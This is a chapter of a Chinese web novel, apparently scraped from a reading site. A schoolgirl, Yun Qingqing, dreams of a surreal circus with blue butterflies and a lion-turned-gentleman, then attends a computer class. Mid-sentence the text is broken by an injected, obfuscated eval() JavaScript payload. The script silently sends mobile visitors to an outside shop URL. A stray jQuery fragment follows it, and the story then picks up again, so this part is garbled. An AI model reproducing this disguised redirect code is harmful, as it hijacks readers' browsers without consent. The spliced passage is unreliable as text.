幽暗森林,潮湿的地面上铺着一本巨大的旧牛皮书。
云青青刚刚穿过无数个毫无意义的分岔路口、还有一模一样的林中小径,她在茂密森林中迷失了方向,远远看到这边有蓝光,便直奔这边冲过了过来。
来到这里却只发现了一本比人还大的书。
牛皮书被丢在空地上,被沼泽洇湿,爬满藤蔓,显然是丢在这里很长时间了。
她走上前去扯断藤蔓,翻开这本书沉重的扉页。
好似有个房屋被折叠在书中,在她打开的一瞬间,迫不及待地从书里长了出来。
不是糖果屋,也不是纸牌屋,更不像蟹堡王,倒像个庞大的马戏团帐篷。
云青青后退几步,才看清楚红白条纹建筑的全貌。
她从远处看到的蓝光确实来自于帐篷内,夺目的光亮从撩开的帷幕中泄出,她在森林中走累了,现在双腿酸胀得很,只想快点离开这个鬼地方,她没有思考就遵循了自己趋光的本能。
一头扎进光芒中,在她的想象中,面前应该是扭曲又耀眼的圆洞,或者光怪陆离、漂浮着钟表的时空隧道。
可惜后面只是个普通的不能再普通的闸机。
四处充斥着爆米花还有焦糖的甜香,有些像电影院的入场区。
帐篷内壁暗红,看上去是丝绒,但踩上去不像,地面软绵绵的,滑嫩嫩的,完美契合着她移动的脚步,像有一双温软的手包裹着她的脚掌。
云青青几乎是被这双手托举着送进房间的。
房间桌上放着一个透明的玻璃罐,里面装满了发蓝光的大蝴蝶。
它们不飞,只是静静地错落在瓶中,少女一时以为这是一瓶标本,直到她靠近桌子,蝴蝶们像被吓着了似的,呼呼啦全部飞起,争先恐后涌出玻璃罐。
蓝蝴蝶们在半空中飞舞着,随着少女的呼吸一明一灭地闪烁,而后落到了她身上。
她低下头,发现自己的双脚已经离开地面,她正被蝴蝶们绑架。
这可真是一桩奇事,蝴蝶都能当绑匪......云青青没觉得有什么违和之处,只觉得相当惊奇,顺从地跟着它们飞走。
她被蝴蝶们抓到了盛会现场,悬在高空。
云青青在看到舞台的那一瞬间好像有点儿明白过来自己在做梦,大概是日有所思夜有所梦,她想了想,这得算工伤,得找话剧社赔偿。
做梦的念头丝滑的从脑海中溜走,她定定地凝视着下方。
彩色烟火迸射,管弦乐队齐奏,圆号喷出礼花。
舞台上凭空绽放开上千朵巨型玫瑰,花瓣旋转,收缩,又绽开,原来全是穿着蛋糕裙的舞女。
秋千燃着熊熊烈火从她身边荡过,一个驯兽师打扮的人站在上面跳着踢踏舞,他没有人头,脖子上顶着一颗巨大猴头,猴嘴朝云青青吹了个口哨。
变调的口哨像个信号,她瞬间下降,离穹顶璀璨的光球越来越远,不等闭眼,落在舞台上时她已经换了身衣服。
一身樱桃色的芭蕾舞裙,蓝色蝴蝶们服帖的黏在上面,云青青皱了皱眉,心想这是什么丑毙了的配色。
鼓点敲响,彩色光束聚焦在了她身上,少女这时才恍然发觉,刚才在半空中看到的一切都只是舞台上的平面彩绘。
其实地面空无一人,除了......
观众席上坐满了人偶,见她登上舞台,唰唰唰全部站了起来,它们身着燕尾服,胸口别着干枯的玫瑰,手臂关节被细线高高吊起,冲她热烈、疯狂、无声地鼓掌。
云青青不明所以,看向聚光灯指引的地方。
那里有个歪歪扭扭的铁笼,笼里白色狮子来回踱步。
帐篷内壁还是暗红色的丝绒,却在狮子出现的瞬间有节奏地收放起来,咚,咚,咚,咚,像心脏搏动。
裙摆上的蝴蝶哗啦哗啦飞起,飞到笼子边,变成一把宝蓝色的水晶钥匙。
少女福至心灵,走上前去转动那把水晶钥匙。
铁笼化成泡沫飘上天空,一连串泡泡的爆炸声中,铁笼和狮子都不见了,魔术师现场演绎大变活人。
漂浮的胡桃木座椅上走下一个优雅神秘的男士,他的脸隐没在宽大帽檐下,他绅士,彬彬有礼地握住云青青的手,俯下身凑近她的手背。
马戏猝不及防加入感情戏,云青青一时间没有反应过来,任凭他握着她的手盖以轻轻一吻。
被啄过的地方,酥酥麻麻,开出了一朵淡粉色的玫瑰花。
咚咚,咚咚,咚咚,帐篷收放地更加剧烈。
节奏中,他说他来自远方的国渡,请一定来找他。
遵纪守法的榆木疙瘩如云青青,她当即在想,为什么要她去找他?他的签证是到期了还是怎么的?莫非他是偷渡来的?这可不提倡啊。
神秘男子一如既往的神秘,他留下那把蓝色的钥匙,像小美人鱼化为泡沫一样消失的无影无踪。
木偶们起身鼓掌,红色巨幕像断头台一样垂直砸下,又弹起来,又落下。
这不是男版灰姑娘的剧情吗?真有意思......云青青握着那把钥匙,心里有三分空落落,还有七分在说:这钥匙好像本来就是她的。
少女垂眸看着掌中之物,只见钥匙解构,蓝色蝴蝶一层层飞出。
这是要去哪?
它们穿越了红幕,像蓝色的雨珠滴在血色的池塘,荡起一阵又一阵涟漪。
云青青好奇心大作,跟着穿过巨幕。
舞台没了,马戏团的条纹帐篷消失了,连一望无际的森林也不见了,外界金黄蔚蓝。
是梵高的星月夜。
不同的是,这幅画没有画框、正在向四面八方无限延展。
夜空下没有小镇,只有涛声阵阵,海风湿润微咸。
她踩在松软的沙滩上,浪花没过她的脚背,发光的蝴蝶缭绕在她身边。
大小星子回旋,水天一色,美轮美奂,云青青想掏手机拍照,却怎么也找不到手机,只得遗憾作罢,眼巴巴望着眼前。
蓝色蝴蝶们聚成一只硕大的蝴蝶,在半空中震动翅膀,算是跟少女道别。
云青青目送它飞入大海,裹着湿润的水汽,飞向远方的国渡。
大洋彼岸估计是个雄鸡之国,她恍惚中听到了无比高亢的公鸡打鸣,正听个热闹,下一刻便恍然惊觉,从梦中挣扎起来,一骨碌滚起来去关手机闹铃。
手机掉到了地上,亏得地板上铺着地毯,不至于把楼下的人砸起来。
少女关了闹钟后坐在床边怔愣,心中可惜没有拍到星月夜......
这梦虽然无厘头,且不知所言,但也算有头有尾,有始有终,不是做了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17931560|210906||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
半截就戛然而止的那种,那种梦更令人欲罢不能,抓耳挠腮。
直到云青青坐到教室里,都一直在回味这个醒来后还清晰无比的梦境,真切明白了什么叫魂牵梦萦。
她花了一整个晨读的时间去刨析梦境与现实之间的种种联系,特别是那股弥漫在马戏团四处的焦糖香味,她跟云亦衡倒是经常一起吃着爆米花看电影,她反思了一下,绝对是最近看小说看电影写剧本上头了。
她无比感慨地摇摇头,现在的梦境越来越真实了,连气味都有了,海风是咸的,爆米花是甜的,烟火还有硫磺味儿......
梦中的主角如果不是她自己,说是那群蓝蝴蝶也不为过,不知道它们找没找到那只狮子变成的神秘绅士。
蓝蝴蝶......她嘟囔着,默默抽出荧光笔,在本子的第一页画了只大蝴蝶。
“嘟囔什么呢?你们班的人都快走没了。”常可盈敲敲她头顶的窗户,“一起去微机室啊,再不走就抢不到好电脑了。”
由于各种不可抗原因,五班和六班已经好几个星期没有合堂上过课了,大伙兴致都很高,打了铃就开始往外冲。
云青青抬头一笑:“好,等我一下。”她快速收了本子跑出来。
“你怎么也晚了?”少女敏锐地察觉常可盈嘴巴上的口红擦掉了,边走边问。
果然,她哭丧着一张脸:“化妆被教导主任逮住了,让我当场卸妆。”
云青青看了眼这人依旧夹得卷卷的睫毛。
对方似有所查,嘿嘿一笑:“他老人家就是个大直男,只看得出涂没涂口红。”
两个班一起上课,人确实多,等俩人紧赶慢赶地赶到计算机教室时,教室内基本已经满员了,只剩下教室末端那几台老机子,那几台电脑属于最旧最卡的老古董,不使用暴力就纹丝不动的那种。
云青青和常可盈穿过一众同学,老师还没来,大家都在各玩各的,屏幕花花绿绿,干什么的也有。
她余光搜索了一番,没看到云亦衡,不知道又和徐天赐去哪里鬼混了。
俩人矮子堆里选高个子,挑了台不算年迈的老电脑坐下,等待它缓慢开启,听声音吱吱幺幺的,估计内部电路板快掉了。
云青青等得想笑,百无聊赖地抬起头。
少年俊朗挺拔的身形从窗口经过,恰巧和她撞上目光,他朝她飒然一笑,扬了扬眉算是打招呼。
不知怎得,她心脏兀得一动,竟然有点期待云亦衡坐过来。
应该会坐过来的吧?毕竟来的这么晚。
可惜,六班一个哥们儿早就给云亦衡留好了座位,她哥一进教室就被同学拉住坐在了门口。
云青青抿抿唇,垂下目光。
微机老师开始了他枯燥无味的课堂,顺手在满室怨声载道里控制了所有人的电脑。
她和老师的距离又远,男人平直的嗓音一再被削弱,传到她耳中有若蚊蝇。
云青青单手支着脸,机房开了暖风,配着老师的声音实在令人昏昏欲睡,她差点几度看清周公那英俊的面貌。
身旁的常可盈直接趴在桌面上,看似在睡觉,实则拿衣服遮挡着玩手机,附中虽然可以带手机,但上课看手机是被严令禁止的,被发现会直接没收手机。
她清醒几秒,正准备帮好朋友放哨站岗。